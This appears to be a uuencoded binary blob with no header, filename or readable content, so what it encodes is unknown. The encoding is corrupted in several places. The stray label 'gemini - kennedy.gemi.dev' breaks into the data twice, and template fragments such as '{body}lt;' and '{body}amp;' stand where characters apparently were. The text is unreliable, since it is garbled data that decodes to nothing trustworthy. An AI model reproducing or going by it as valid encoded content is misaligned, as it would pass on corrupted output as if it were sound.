M\[Q+5O-E93+]#,%N3/25I,%2]9QTZ!%Q5)B%*0HZ#B3@%-@AFU2;`OOCA".0 M/\R9W;.]4*=125:A5M&3:#BPCL!WQ&7V^-.GSG:*)9N"8G^"&3QA:YTLB+1^ M3NSJK%-OA;/,3?)$1*IB3J1C:*9@@2T-?*U4_D48+?X,7J4USE);UHC787P: M/,Z%2R*2Z<P\"[]>[A_%B#RYKUG^7-.-<Z)IB3+D;%D[TYQ>+<V\%-?AH&=9 M*YD)9%D8DM2<K,@*>0ACEL0*QDKAB81I,G9UMXE0(L;)I.U7>9235@IRW((/ M**NZ:BKOM':!2]LT*IGXW!1EA`-CQ08/DUF2)F7BXA!1%HFJ@QH-)=DACISX MUWF<+,A\6137>&"^1>M-BD5NQ4%RMIJO=.1%#EFM#+F=PE]EPB?FF*$7!H1X M'Z1CO4R<_<$Z$I#*(!R**XT46*[D1IILM2M>QN_NF#->V;*#=6I3"\P+3U5@ M>:#3@TG4?-@53`)KUMX8D%4H!C%5,1C\*RF45PWYL#ED);![9+'R&3HMS<;^ MJD_/SS@O2>9L2QUFJ4Y?GT%^\'-G)D%F>EXE$"K)R/+#U"SAYISQ+"=HE_(Z MH89!\V=.0ZS&<#_FNI=:2(AT82+2&(=/Q%MW%*)*SH(#B<&S-WJ#=P:G6.#& M9^&*#!?8*HMMK0H)IUF.]PO*0EO>DD_72C90Q&"QEV.8^83C,#Y?&]K%I%:2 MP2:R%H\('3P;Y:*%#2T([#J5@9EG;QQL0#ZGTXXY5))D4=K!'G(D2C(0!%+[ MFG-ID<?57-C@)$+:A742`83FE%1/6@AH*9>/?L*"355RAA%SN:;'Z;;#FX3A MB5@J5X`42-W8"^F>9%DBA?#I77+<T..2\BSLCF(K1Y"G/(EY_YBB8R$G1@+S MYD"9{body}lt;X9B=#KS$F'2+(X>4KBBIC2^8P#B6Q2XQEX?*8-;'/.WL9Y:-60P6^D M(0-0O>VZH`F;('.!FMEX6.+K*"8PH^>IB1R'$($[D+C?K,90L9BF,ZV?'-R@ M*(^/2>[UNHB!6==CL`WIO_9<SD\Y3BA1DVB2H^`$G29\.5M78FUS00.+G-!> M5_V'^B%>QM-I?WPWT;WAE;X<#:\&T\%H.-'7HS'^O'\<##]U]-5@,AT/+A[H M$2^\&UT-K@>7/?J`F'_59>1T""HY<V1AXP2"8Y[SXJN+#(0,H3:K(A(-Y=Y- M&CE[):-HPLXJ3RFYV&CKH.T:"!12;^)&K*HZ_X@,/4X^#"^Z(O:3>^'O!.C9 M0'`=Q9BE9I_30G`&XI[C'FSRA(\RB\2;>6=/3:T-\IPV"1\Y>$(TB"Y839Z@ M,=@74Q'FFP.GT?.OXM,)\X*38UM9Z\3FS+E%66_R@LV`P41'.0;J&H).0/$] M-!GK0VZ=FV.*'71^UIA*X9M5M"21G=X@,B(0+"#B3OT";<C@?9Y6!-YIB[PB M6P>D=8\SY36C3\+=3PAY]BF4.\_@$!?%,4`!NXG5)\@=)W"4'L+[DP"$W,F5 M@-4QOV@=DL$D`<\&(8MU.'/X*"&645E5VH1='AD4U+VI1!0M%ZJHLCW1NZ#L MD8Z).PZQ,37$482!?!V^H@*PGF<$MQ>\(>F6<P"'T:3DC*CW#$WYG4\1!LV& MH%?&50DB%C$W,\#G'+APS@,<GW75%P$XNC:RHB*X3;0L[>+S3GW(.#>2"<Z[ M`F*B[3]2L'JLYLC\9$,<0^H-P37!YB1C#UDC"U0`8G`^A'G3X%]%HMDD\RJO M;"J[(^9P+(?MXI,-.3H2#`[!&,$Q&:Y2C:>YR.,.,4^C9`VI@&F?^3_JK\9L MR"7(`ARZ4_*:]1F+\`^5QZU(*)4?'3Z:69-A%\IE.%M-6M$:!I%-?1@`@;;H M8`A\%!_8W#XJ2G-H5W!;LQJJJK4DE0Z#5X=C{body}amp;I76POG2)U=BS/[<DUV$H"W M=50BAQ/SC8LP=.8:'@7XBY+N-U^9>]#,EO.ZL1R'[YBBG*HX;#`^8KK(IB2R M847%>7$M[!X-Q1V72\5.0Z#)H;T="%V`UP=2R<0=[EQ%,_CM`;N$:0!PKXT1 M(Y%36!/D\5\5]Y*BLZ8(F{body}gt;5E0JBQHR+))7T.8=L6;`X([FW,SFF82FNLD_[ M&I/E+3%'*/@(%%.UY0Q/5G6%C]D>'VR;)(":;"`O",=YEBMM$=.)S#.2,S]E M`%:4=5KGSZRD.CK73@ATBF4:_![#[GQ!15`+42%&1&Z7B*3@[9E2%'MC4L0U M%3*@8TC`IWXY_OS,0_=:]#[19[`KQI5`M;'T9K@ZH/94$5$:0IQQAT>@18`- M:D(1)=DH/Z2F+:54'X7)(\CT^/6`((/$)',,48^IB)%I"XH67!B"NX2"?$%* M`5`B@Q9[RK*\0G2A)J!+PNP4K8BG#T:\B`FX#X[7/J>$:5&_=#P"J^W#>8'P M4;]PUC0LN+O&'A_`>K%X+VU6%U/8=1B71DV:^OQ%Y#07N[E^2LSS3DQD*@W" M.^U_FQL.5[]2@FVE[-*:=.%[CEX'X(U)4*[CE%Y;@@A?N@192^0="6*M".1/ MLX\0_EXEA;1@A.(.L>X9D+OOF_#:M305N"?GLDEMK[QGXQY<C*J$L`">1R@# MM36N\<("HG*27Q$P=-0U.YR7J/<P(SXBFV>@QJU<@D8%(\0&=]!B:^!]9&>T M@75X;PT9/U$=5I(GA#XHFB7$PR[:H3X6]ZJ;<^9(;37[[$H[`8G['9'=V9J: MSE59OZ!VC,Y&ZT`J>)M##]>8$F*D-$EL*ZFHW:3"@34$G"YI"0U?%+JW?!12 M;0E(`[AIATB=)R#`@V'4$-^H)>Y4KTBUA=O&@\R*LX6T0_`!%Y]RK,(LHR)& M,F#]XR7]3&E:FF-3O-@)K@F(4^Z_EW7`='+B9$3`*.C_,5"UI0I;1U@FU5U! M-QI``<RL-`*P[J.&EE9<.#1;<7FCS#=32/GK&V?2&Z(61GI0V$!E1>`<REU M,WPY90]"`9QYD%%ID<CESIHB7;1<DI0\65?SR#E(*H<(J5VLQ0&2/_P.$CFC MOR/]E*<5-?47J'IMF1<HK%Q,;\XGV+>)0K/"Q[^`.PF;;--4I1S,<F^^#]5W MC[#+/960DDP]_'E]1CDJG_U!/17?`X?VYE7)\880V8'\JR;>X\Z9A]>:4=0Q M$(5@0"TSYU/2TH`{body}amp;OS4FR,G;PBNP'YK;=!GJ>%<5TA/F1/A&IX!!/62DCDQ M*0"J*4(ZSN>]UP9-A>\@0<DU[>.P@IWRYJ"6KZ,B@?U7OC'4-`DIZ0@:^P@1 M=FI$MG^RJ/8GAMP=_12EB9"#S%)$YY+[;W*NK8D*OJAIR@H&2!P0MAT'R!V" MRN@Z2QK0F5SH,3!R-UR^0J#L9PJ/M9W@0GOM<!86V3.%78D'.7I7.2T],/"3 M!/R/Z>"X_.4D_PL=S(]95Y*1""12!#4KXU.7F%E!DOMW[J&.')DP"G?/HA2\ M9!+/'(QQU[;2'EAP^S`C)$J1$F7;7KO#MQ$HZ='[-7\AUOJQ\_)Y:X`:U59' M93GD4DA[1T^JF<\.,Y$^H`LAE]8%V:()*M(1$U[X6E#4L:XS)RVBRSC7J6U7 M9I`GWXA><]$0,BT=N=KU97?%N\N6_CYFCR]\CDTJJI62IFI!99=6EBN3R-I\ MGOB&&%P@(L,WBR1+I-=*=99;+W&X2#9RHTP)6_G\1<PEKD_&L(<ZY&D:A<"A M.1%.>0/%/Y'0"=LINS&L<>/!;&?O/*&[\!4?90W7CZ/;/+X<K%L]-:@-7SNE MLEW:A8XR9#3C"D21GLX:3UA'?S`"6,.B&9V>R@F)XZ\P8Y,*-+$4QL_<"15R M5"%%J]W:$M"-FTP4>-OGITH)4JTRQBW,<[V5<K`]<A[*C>:V])#D%WMH(:!. M$"OP`+JM<7TR-G3PIT"=MW8#&8R.(W<5S=;`;6J':OU;FN`Z0C-QN4-@S_H\ MW&8PRL3PH&*<;]4A6-F*DG1)0?BX6JZ"V)ZX&W-I<JXW*)J"H9*`R$Z[*!`& MW1IH_;;!#&1%T@B2=@WJ/VZB"WX-44L+2RBQ5+)>\VU#C5PNH%RJ]^$\@"IT MFTD-)EC%IE2,<9X9#>9'MS^^.\5/NE<2&^2[HJBB-%"Z9$99)"%%MNX]#["E M:C_T`B8(S9="=7"5GA4+PU^SLWHI0WB$%O0$Z_LW/[F0%,WX3<T8NPZKB<H; MBL6>`=2#=-&%_RVJ5")+FD0H'AGNO1/5^?(NK#;))#?E3@UF$VI*^LMI-ATW M;L'!MCX^@6(V<;K#7%*)+VW;]E6N:^DAA!]1#/6#2KM[]R&S-U3Q1KXJ*_B2 M;I7,DE):]6GT7-_>NT)Q_SQ"!\DEI[OIV58NQKA?T0+8.\W[4]=@/-ID/Y/F M#ETXSFNKD?TCU]1MZ;AD`$O7U-1Q]&-&_\S%GG!<LZ]VA+A3XKA1A_==N4<I MD[5Q`.5[4/\')R[#H88=!W+&3R6R]T8?TI2_2'9/9%)$G+C=2PPN^#U?\&Z. M125=9YLCEZ%^A,*%IP29P74N%U7!]U6M@1-7@S5-]9]T76RZX.H"`-LU1+'B M*ZZN:GN2FU`1E(3*%O\_)STU'NBNE()PS.?8J<@^=/5@(8F=VREPT?IF@)(` MJO8_JGC)O3P!*4%U*G?."DB4,H[QBQ9.G_[^@/HU^E1NF]>)FRUT]]5PU\K8 MLXX*K)#!,,N1#8%LY]3-O]"AA"L@/T8D*)?]QDVD/O-YFD;]X":E0_KU%CL^ MTI'K-O%E2A?4_*1]Z]1X_%T9N7#S3_1ZV-//'1JW-+4#\[+)NDKAID8NB^0" M`SEDZ7!E$_55>&T33.L9Z)+;[\%K+O7O*9&@MS?,([[GKOWW)Y,BK]UZ>B:O M4@%R,B.JBWR+,F'[DD<*`N<.<(+?!<%/8&_.8SAY?<'FKEABI(4YC6APV[[^ M"V4DHPJ<0X[(D8<+"S?R2<8`KKQX9Q`2@6=I1(5YCI?-*!C2C7I!2:MN![&2 MO\.^8+C@TF>O(85_KDQ*2%J*89JDR\0I#:,\2;U,@IQQ7J41(FU2S*NUY:@M M$6X6I4T(-R'Y8!)525/2WZ?X1<&UQ,[DJAN@S,2$5+@MW:`.6BVW355P!#O0 M<X-F*I>?^2_Q^F#ZQ#9C%=3HAZEN7?>,VW5^4,_UZJ1QD)1;=QNDN)LM*S^V M-U]%KJ*ATP4<^EL^-TE#AUX6CF+IQC";`KNE8@']G;J_JA(R?8HDDN(W,I[A MK7_#+7D2F-9WK{body}gt;38WTSDJ.6--<!MY:HX[:I2_%GNL(O^`Z2IOOV6#*Q\M;. MH<O5)#R-Z.)YGDG#VW+@Y+F6>5"S10!+_-)'UT2M-O5U+P]1_1SGF2@@1O:) M>;*41ZVT7;'-$!CD]-YJ%M2\>OZ:8.28E/&3>E["A4&7"240K_*$,>%TQVM" M,^61.&*4=J'N/@\X/;LB<08QF"=Q@)G9SU:256VY%YZYB/AKUU^N[?8I?G93 MKSL1*['!^`1='_CA4"Z,"@I:KCHE6VFL?[9M;K;".EUB=`-']F:)*"IRZ65; M?.R7`1S1HSB6O@,9`=2]-+1\L^(;]-81@Z$7Y#6YBU,2B.NC=&0T,RK;K[:^ M#B#MG(Q!P!JE@&H$(:&CLFX#$U-*S.1R:AY)=@UB,4!^#@^F*Q++`3U@$7X. MJ_0-1G?].,OCO2D#!B^_='D2YN@H.DG*3U\4YBGAVUM1.0TU/\GW,JQRNC\R MDBX8@%`LN1-^XW@3.EM(@YV'#!,9/J'@#M[M)BEX;-VWF2PYKGM#OAY!'`)W MTN@"7H@-3"SE$"\#1[Q%/4$IUQPP1!Z!9'#MB)&JJ+]*_492(71<X=`4%_V* MK%K/3-',A_K:F+LY"Z[6=];N%1(2*H.!.I=I3RAXTZ!6X2F<=)HJCE.VG]%H MFN=!`[4-J/V0F+\A]$SEA9\::&WE%=R,Z9$YJ`/FL'?VYD)#A+`])(*=2[)M M/<.2>YSO7Z':]#`WA[Z3(:-+K[H>//H9U,`[&"OLS9_P+)S$WW`*U;K[NY8' M[X!JL32^(R87,^W\H-P,/<'WII)VT+#.`O5]9!CF?B#YG>V.^>M'_@I'OC;D M9%9Q/JB;C+:>>'9?TZ`DQG+G'@8\#R8?-[S0R/@RCU+V;O:]XLF;G<`"A)Q* MQGGQ?M,$X(_\-WQ:WYL12ODZKVMV^N:/S#;$"#`NC=2O+"6>I-OFJT[#D?[2 M&X][P^DCZ_^\JR_ZE[V'25]/;_KZ?CSZ-.[=Z<'$3\5>Z>MQOZ]'U_KRIC?^ MU._0NG&?5H2T:$8V((!5(_Z[__NT/YSJ^_[X;C"=@MK%H^[=WX-X[^*VKV][ M7R#-_N^7_?NI_G+3'ZH1D?\R`#^3:8]>&`SUE_%@.AA^8H(TB#L>?+J9ZIO1 M[55_S-.Z/V-W?E'?]\;307^BP,?GP57[4">]"=@^T5\&TYO1P[1FG@[7&S[J MOPV&5QW='S"A_N_WX_X$YU>@/;@#QWT\'`PO;Q^N>!#X`A2&HRGDA).!S^F( M1>/7>NI@!O3577\,^0VGO8O![0!;TN3P]6`ZQ!8\7]P3SB\?;GLXQ,/X?C3I M4_^&1`@B$/AX,/F;[DV4$^QO#[V:$*0+&G>]X24K:D>1=%S].'J@K(%SWU[1 M`N47D*#Z^JI_W;^<#CY#O5B);28/=WTG[\F4!71[JX?]2_#;&S_J27_\>7!) M<E#C_GUO`/'3C/1X3%1&0XDMK[ND/%A)_S/9P,/PEDX[[O_V@/,<L`2BT?L$ M:R-A!GI77P;8G#2TJ_P.OX('C?(?848C?==[E,'L1V<>8+.>W&Y;!8RBL<[> MQ8AD<`%^!LP6&"&!D(JN>G>]3_U)1]5&P%N[8?*.GMSW+P?T#SR'Z4'7MR(5 M>-%O#Z1%?."(Z![424<C.W0J(Q\D6QMZ&\'>NWYYVNR]8W]D%[>C"1D;-IGV M-'.,WQ=]6CWN#R$O=J?>Y>7#&*Y%*^@-<#-Y@+,-AJP41>=E;QZ,K[P_L9SU M=6]P^S#>LS'L/(((B23;6JT0;V23LP[;@!Y<8ZO+&Z<]W?+:1WT#55STL:QW M]7E`D4?V4?"%R<#)9.0H.#ER8.-OG^)\O/[``#_-_M.2&QF3ZG$U*AW6*>=_ M?/A(`7<(L..RG"4+=IDQ1F)-\PV2LT-#S1QE\/TV-Z7GDN62O_]A2X4:1-ID ME:WSCY1VKN*FDH&:"=R37E&)(:!'YMPY!R6E:N<"R8'U%W9H,*G5W`R^"EI? M%OOVH?]&G&_)EF7DKIP::%0/\_Y/>\_:U$:.[7QU5^4_*,XFL5D_,:]`DKT$ M/`EW(%"8S.S>.UM>8[>)-[:;<ML!9B?WM]_SD-12OVP#(9F:5LT$Z)9TCHZD M(YUGJYLCJR&`(B0*^9T^#@TQUJU'JC+Y]Y&-"=](&PM:!G6P*{body}gt;@L,\@7!`^ MNS?29@67=U]>TP)G8W+AP:ZH#_\C*5+H8J>L_72'S^OK0![N\V.IMA*7'DE` MY(I#GGPTT!D;'2BZ{body}lt;]U())T@GR)]*3VRF/`(,!SN*RAA8J[/@?9HR_@R.^P M,U&'5@%YA;^FONSXZI?HB?`:(%`7>.K3I><UPR6YU`@@LN9[1T<W6K/,M]\@ M.(P]**?Q[IYQD<:!9[9OW1NUMU[R12D(I.#(<@7D,#"&42\%VTNZ&+T_5^() M8)IBI1CV$;UZII+.ZM(%VPJFL\3N(B#0J,,=F9`ZX'=T!(8T%9)Z=T@>@\JE M$R[:V$7XG`;B+G!,MUQ:)XX.,$H0Y&BJ*(H7Y2Q?#AT5Z^:Z#API+#^1Y(ZE M>X1AQ@QHN8/R+*SUM"LPM0^'^9=N']#O.!B52#H"TTD$]6C,@LFW@.,L\;KL MHJ_:Q!O#B#@@{body}amp;[_P/D&0U9\6OX:EG]J2?%'%5;204).M$OO</")N:E#[H]0 MC[B3SS$5EJ<K;"%7^E.]'<,5^S/?[=4"WWA1"NUGW,["WLN1UEV0)60$Z>Z; MUO$AW#T._V'>FW=H3<CE(*8WL,#_1;&K5\\KP;8(\X/@[*'#P!TB'*1KB#U0 M#S*22FN/E$"V8X+K/C<1J;#CRL>;2Q3SR,H5^'PK_`@'W5JN7Q5W:\666%)D M8O39<9\,*](6$L`CP[&/.LX;5&^@Q8WLP2"ED7[!"'V*14U&,K&>GO;_N>N, M/.BRW`4,/I%:8^2.9T`P=^27R\C)293V9P.VZ^J(?QE#(@=+KGD8C$Q57.`H MW@TT*ZBX=^V,+%N/W$E1<"3WQ/%1@!^RI6/,_NQH:L8PND`U%P3@Y(,X%77_ M&/2=,0;*^QRO^4[ZJ7?0B^)R"(<&^5!1&URF'&WQ#^_&Z]V,7;7'\4P\O]&` MV#LH0(!V"-Y0)`N6P*&C?QGK_#F:Q\AC :CSP&]OI!^*N@&XQ>U2@V`_3=B M(]YUNI_<";'`E^Q(@J'?L$K.;F"G>>/7)5&'N]ID,*34)'AIX1<ES-?A#U2$ MU\^P@J1>-X'M:BV+M!L%&@Y</^;\DF[#,>)@=<H!;62;F*RH@R;:B8<6:F0V ME%A"JV@<Y1U.\9G(]OFL(N,C8P*<E7R[3(B&7MW77BF.[%RID)@I7"DG4174 MW8,+G8J?B<EUX<3GNHBJ-K]U:INL+%!"^9_@?_BU\O%>81CYG^+R?ZTW-BG_ MU\;Z)OR^UOBA5E_;W%Q[Z/Q/?\[\7]451^!_2M08NGV^F:S6:EOR.:7%@(O( MWL?.#$X<][,H[-?&\*P&5_&7'7Q7Z>IW*V.O=;)[M"(F5]./Y0X(7>ZXTG-? MZ\Y.O1Z<"YXXG9T/)AWQAN@J"F]:^QUWA+?[EQ-9(^AJ`&>!VYVA5;3B32Y> M!TC?2>:1?>CL)K>2>F0GZ3KS>7*/["0D_2PD^2228D'I1[:6,M`MY!_9@2$% M+2,!R=81.6@Y&4@3X=9RD&ROYW5I24AVD)CRK"0V-M?%$=QKQ"Y*'7N=$4C_ MO0N7Y!\0?QHO2K(/D'_DD*J.\V30AU79%\"8VS]^>$^ZT5;[G?.$G*;=R'-H MP#[*XN5E=U"%_RL?7QL/_1N_.O#@&0"JKL#*&!:*)91]X*<@B`X\_MP9SN#& M$X1%'.R]6R_AOXTCK*2@'Y[LO6GO'Q_M'KP7A=IUK6B_>?.A11)\],U^\V?Y MIMX/O<+11!JUC@[:S??MXQ]_;#7/Z&4C]+9UUE*O\>U:{body}lt;=Q/F!)C9NS`Q=< M3XLX!GA]=KQ_3-=5JD?*'9Y88XB[)T=["/K-P9D:2UV\?"G6BT1`:"G61;DL M?+C%PP]J3VHO:-C>>W_&&XTC6`&-)V;?;]\<MN7(L'OJN\A\4O5=,_J^&'KG MZ+0^)G\<U9EC#Y1,)\'$;6VLOZWB/S_COR?T3[.ZM5X#[F(.O&CB==I$[7QS MOR9'K0>]&=!\OWU\$I#%J+-AUMD[;`553.(9=0[W?HJKLQ;4>=NF<34CD]`( MZNRUW^RVFNU6\^UJ0$RLLUI$6F+<#-G_C6{body}amp;3>IVD_H"36J1*0LUP:V+._=@ MJU$S5BJ,PUBG+VH$"JKPOD)WX.3*/:Z\`5L13HX+$!M`!(1V`AJ"4-YW=-.C MYA%LL8.]ILA7>^[GZL@=Y8.7NR<GS?W=T^9NZ^!_FJ*P5GNQ490CT(ICU,,. M?M/:Z!$(%<!'"274&70HNN'\!A<[(&`7<_/@'F@?'/.LG:\&M!IX*B<)PE"[ M9>)>H'?0A"FH"8%4QPXZ>&>T-O[!^];9[OX^6MI$05;\JZA=;U'%^\)DMD6* MB;8_@F.@`"?KK`O"8'?0!N*N"'J*OX+LM$5[JCWUVMB@N./,ZALHXK<O1^@7 M7gemini - kennedy.gemi.dev _>N.I/QJTW7%[X%W&O?&A)^,5>H?)[4^O+\Z'!:P>=`*5L`X<_O,K&1UY MXW;G<C2_KZ1Z5!%N%V-)((DO/NT./=^-/AYZW4_V4XHP8/Z)U`,X[>YXJM\B ME\,#$GDV_JQ7!'G@A1L(>6[2AL#9#9V0^/9;W[N_EQ*2_XXZGUPTD=PKC/3\ MOR@`KLG\OYMKZ[4UE/]JF/\YR__[]<L3<>IR,*J'=VHY_9@Y8/R<,E=2GD1/ M*D\_N2K,#N0&C`C!L#(I+OE3YXG6=#GH*;WMY"ZZ75'^!>N7?W$G$P_C<DC# M`(\]];OOB3)EG^TYN?]RX3RS?XC\?@@9!)J(#'($A48^U*$C&P!FW4M1[AL8 M5&?^!+>`XZ#'YAAJ3$96#?F"6_,[U:8:5,IQ2D2L^8?@,?'ZG^Z]PDC7_]0W M&FL;@?ZGL<'ZGXU,__,0)57_(\1]:X!RF?(G4_YDRI]%E3_"5.;XTQZI;>;H M=_)*AY^_@\SB_,?)&=5EZ/7*)?RR8[WIX7[7'<'__<YL.-W1Z?VAXRZEL9ZV M2:,$U_@<$+'P.(!>%``LAUV+5PQM"*)!H1ATDL.GF!^@@+7@12X7`2G;HM@$ M3ZEB2=3T?]CH"X?:1IJ^TD]V'`W3PEIVCK)]&P7>0J2/DB6J%XV.*"-5OY#? MXPY9L:85-=L@ISZMK5W_BM[F%LPBDZI@:V*>V?,DD'(2@%5Q6SSM49\%>R#/ M;,U.4?Q-U,4VT4=C#gemini - kennedy.gemi.dev -U4X*Q*!6,KB@3C(LI2)*!24KI4&259(!*3U3*B!9 M*0V0K)($R%)6I<`RZR6#,VLE00RKOE*`AJHFPPU5G`^ZOCCH^J*@ZXN!GKLY M0E47`9V\02;N=#89AQG;%R=6T2.6XJ505E`'3F<#O`;^"=W729^[BG\#A/-. M;P*_.K$\,\HKG9SN,)9)&AK\DE;:E[22OA3HY+$WQ";"#C4`X+37:T`KU+I@ M%-UP,)Y=Z_0E/4R,-_&KF"BI>M69=C_VO(OJ8.OZNCWM>B`3KE0)P.H<`'5$ M!*D`]0H%:L`JV]]%@?![_5IL%HNDKF9"06<DD\TN)5D00=)+L0,L>P&AUB@G M)Y>);,QI6$V'TVIKP4IB.KI$K@T_`#-C(2"^03UXAS7^:ILT=@+80=4(!I8Z MT$1!OIB/@ZQH(1%83D)8R,J$QGS-(^'36%6/@@/?NQP6&G2@F:\`!30^V6I$ M//*L2L]"-A*^+L#T`0)R4N#VZ9.%!->/0K\6G/C8@.Q;5L>_ASHNV0K-W`*X M+HAL"-N!@:S"MHX`#71#33@:%5U5(RW+W!0&"PA!JROMWSPF![2)R\[5`Y_: M&:WDG,[1%#_LI`*6O,9Z)3-U'#WA<4<G\IGXOV\XDU,4I))F)7%"9:QZI%U- M36;0,KK4K9;F<K_E"IAK!OA*:\`PK.H%`-"[=]C21I?WLPHB.)I(+KJ35?V' MVL;??!9ON8T?9O:6W+7+;=6OL3_#9K5;2N=\G8R(XPO=(IU`XIXO:3NY!:7G ML-0L>(&ER9"2S(:`:G&*Q6]Z25S%[CR8?/IV#7\7BKY,%L!C^V/:R")RQN_F MF&AYARFV*,GDNI]'LC2:+46T-#:':D6Y_,D_1>T#!IP(+(D+VALAWI2<;868 M:8TL5:_?O]-R!=;\;==K5Z=MDF>G'M&M%F\LGY>KU)_1&L+POAN!M3%M2`JT MN2=":'ZLP^&V["JR.^(<*NYO;Y3H4V;?Z3[)!;A!L\B>!GHB82B=4)^_%@9_ MRFL(K,3'*?J]HA!WX_&Z(XD)93B;3BA0=S96>"$F=]F9!I3<K0F)3?FV(^DC MOU8@-QUC&Y`MF6C64G5X!RC%JW&7XGPI,J&9>AAS`4KQ"<(%KB^O>*,\1[^N M?K]D^'H5L9-O;67]?HMA_\<T3-Y@>L_&_Q_F^O]L;*ZNR>^_KS4VZ^C_TUA; M?7#[_Y_3_P=WYZP_A.TGIU_\FSZCJCZ&HKX^X8W%(>ER5ZKBD?,HQBQI/IN- M!_`X]!">#`?GD8>8>B;\\,:O8N!FZ'$?-OXPIFH$O#N9C/G9HY`[K.$+BR_Q M,R`3^HSP1'P$AC1T)__[SQ*(KCW]UP[60T=QZ16+]GC8+:HZT..1T_%'HO!( MFP?RE5YGVOEUG#<?82KH^D;H(;IS#U57)ER[GOV7K+)M/Y4_T8L51/R1]UG\ M!5VA2N*IVT'K(KY$5TAWJO(-NO0Q/U=9,W`@X=ZP&VP/O73];62M_9KLBWI3 M/K-H"`=@!>6Y+A)[^TOM&D[\IX12`CP"U_,U'%5PJ;;@/*O%=C[Q1Y$69M/6 MU6`*4O9Y!X[<J1>BP2,G<&#.![.PG38-E2FLGIA);JS2PZ)<.(_0JG\PIC4# MMW+CB]7"[Z!K0O/@1-J$5?JZ*STGF",+UAO3EGKJS\:4=K!"?]&B5(_H<"6% M@DJHAVE!9:ASN2SS*9)O.F=NQ[3AE]Z8>@INO0HV)8Q#K)%`!`ZHSI^6173H M`'[D_.=1Q-#]H\*'7/$T*,:`LBP_!@HA?51+]QINC<V_'YRU6Q_V,#L0OOQB MT,_<?)BJ&Q::&K5$#.^_]":*%[[J]PQPL[',QTW[?N7SH`?\(.X]J=5@*Z/! MB]W):[47W;2:JU2S5FMLK75JM;2:#5VSQC6#NK!:3SN82OG@^.00UT"#%L(E M)L8;#L5!]9A2N/K6/H`KF;P*B9=PHQ8&`<(3M-?A3W^I^OW.@!1UQ#:1S-(V M2G^;\Q2=+YG,QZRDA)]D^"U3PI+K4^(26AA?0F0Y1AK(``269@J<FQ+CR]E? MY^_TR7D,DC>I0]I&FDHT(';[6R84_7*57W;-E[%(XUSH4(@"$,UW+]@+I5*I MJ$%8F!]U+JUC@SY9@-$,N*K*Q_`3>"M_!@CSH$N^ZE_B5PSL:18%4>CW8/4@ M$@4^UDKBN'VZ_\MID29?T.R#W$(>MP7@6U@U_T`S26@]]35*M)08S<2IY5'Q M1H21P=E_67C_X?"P)#`PI81)HL[:I\W=?1"JZ'=,ZM5$UZF3=NO=[FESOQ1% M4I5^#Z>5"%T$TKQZ1<UPO,U]L=!&(7QP9K^+K8+81/>)^I5T![!`(BOP`USO M.CWY]9XR?9Y#+4;EC&2M-)B*[N6-G)12W"6E+'_.W2X*<>K1VB])V^74Q:1, MKK5EH+D'DC.&(;%.Q&)^H]D89TFARP%-BW)"V?B;3#'#MM5.ZM"<PP[W2$]D M\</EF5YC4:9'*VLIIG<V&5S@!^@[Z&2`%P!.A\VV#SE&3BWB7D4NU1:B>%)2 MZ2.VYZMSD9TR:#/)"V!961!O*X^9LM6P'L2\SY@H\ZT)K\+&5*_(JQL`,I]6 MH\C;EZ:Q9U^<<$W.)F[BM<E8>+!&EI'_3/G_\V!X_\+_#W/]_^L;M<W`_[]. M^1]JC=7,__\A2I;_060A`%D(P/<;`A"?S@$#K",:.'EZR2.%P_D7S_H0HZCC MJG3,8/)50T"7?ZE<KE9SI::3Z)`\4%3B@%U5*>ID5;YR1="6JD"L03?Q8DE= MV(J&:%!*D`S"8Y/Z1H8H+[DA6FGU)5?B*W71GHR\F2XI[RRD2J0[6YE$OPM4 M^*AL;*@_',"BFY`I"+6-^`265AZYV6]N7J5-P_L-M"D+3$;W:=#K80K['<(, M6A2<G%8]XJ]:Y8A_I*D:X3W_:^B]X"\0&Y-^^??H4ECM;:69[E`IR10ZI!QS M5+AXH+!!6ZFE(MG=.SE`1VPV1K+1"NU\TAS)#\C5U71I&G@EPVU5NQ!9#>D) MMR3?M\D$K50*7M1G5MW0FM=33/.(G$1*YZ0A.Z%\`QS&L<5A'*HOTZ-JX,F> M#3=BVR/7>*^<?$WP!\?TB5;.8B(*)T&:@T:M:('7$(P(FF@OK;.6W<M:M!?& MHQCO(Z:)&G;&,K'^=7P,U2IFT`L.(`Y?W9^RE:+,()W(_H8K7.1@KEZ%/)!C M&J-U$FI*X<^(`6BY4TK6%SAV2F&O(G;/O<FT0O=K:!!SL=9&?>[<BBVP!`^T M8@8`*B(F[">)`K`H$9"ZW6,>$"-6)$":O0ZWQ?%/"F$]*>SU'9X.]CI3YY7* M;L&)_3%[!_1+%`X36+H1VNC-HZYTN;L]:=,H:_CSW1]IS?P^2],VB#!9%AN' M[MZYL7?%,C6=]KF@0ROW"^`%_7`O4;M]B#\"FD;8'RO2S)`NPS.!?E=Q4[14 M<`T8#H>+3+G1M9QUD+1_=B?J4X0$#6-S%EL%8NXR"`#*'N,GUO;C@X85/:^T M)8Y_*E$Z7]<=T9>-X%K,V@TT-0`)*@(G1_E2Y0=C_)!BGC2T=(CC+=[%L9)/ M!)L9C'/,,B_@-(75M@=[3:TFE;ZU4(7);#(85'LCG9_ZMG9*1S$9W4DUE4BD MLA-/5JG2?NK;'1)><8I9.X/00BI:TL3:^7K4L!4$4S<;(L*>UL*@NDPJ`S$- M49@8Z100R220"8[P@[J>!""75Z!4M=!]_&H9+6GB>$@ND3<^!@MKBB`O/P;Z M%&'/[DVM^*B6U)Y$I2\5N5@T)U(G*\ETKZ27ND6C:V.;\B>E:?/A@4)\B81Z MS.3,#:<>R@T&\T35*&X9VL^*G-HEC5EYA{body}lt;:3HB27J:_:3'*`(TY#%2QUI&7 M1HKEL+&.!3GNBC&UAO=?*J;D=+8LHC9P]@2K&%.$?%*J7.G>1AYMLHW4`O-L M'!B-KDBF.7=9RD87-:A3Q7N*\GD<C,\+EBN7DXMX@M%3EGYRP*+/T<7@?+7T MM#,DN2.7'WF?Z2'ZA05/R5L,_BQQ?7JJ$(,C2)FJR96VYZ&PPOZTG`I>,7TU MQA,MFR&)66H#9B?UML;ZB^/)W])!S=#_?I7<3UCFYG^JU:7_U_KJQD8-_;]6 M5[/\3P]2.)U1H=L3%4H`))X]X]1*ZJ?,F%2,R^7$%@/,Y(2_B?(0#2+E0]E3 M>7C9'<"_OR6G@6JCM8-[(+O',CUH=T6"SW\$R9MB1D2OBBIW$V$L/52X;<Y, M\)34GDGQ!TORE%+L_$_!E-PGC'GYG]8;1OZG5<S_!'Q@,[/_/$3)[#^9_2>S M__Q![#\Q&:"TK2;9,F%KVIVPIIUUP"#D2F5P6`&N+[DB?_P3Y:`V7F_+YG"( 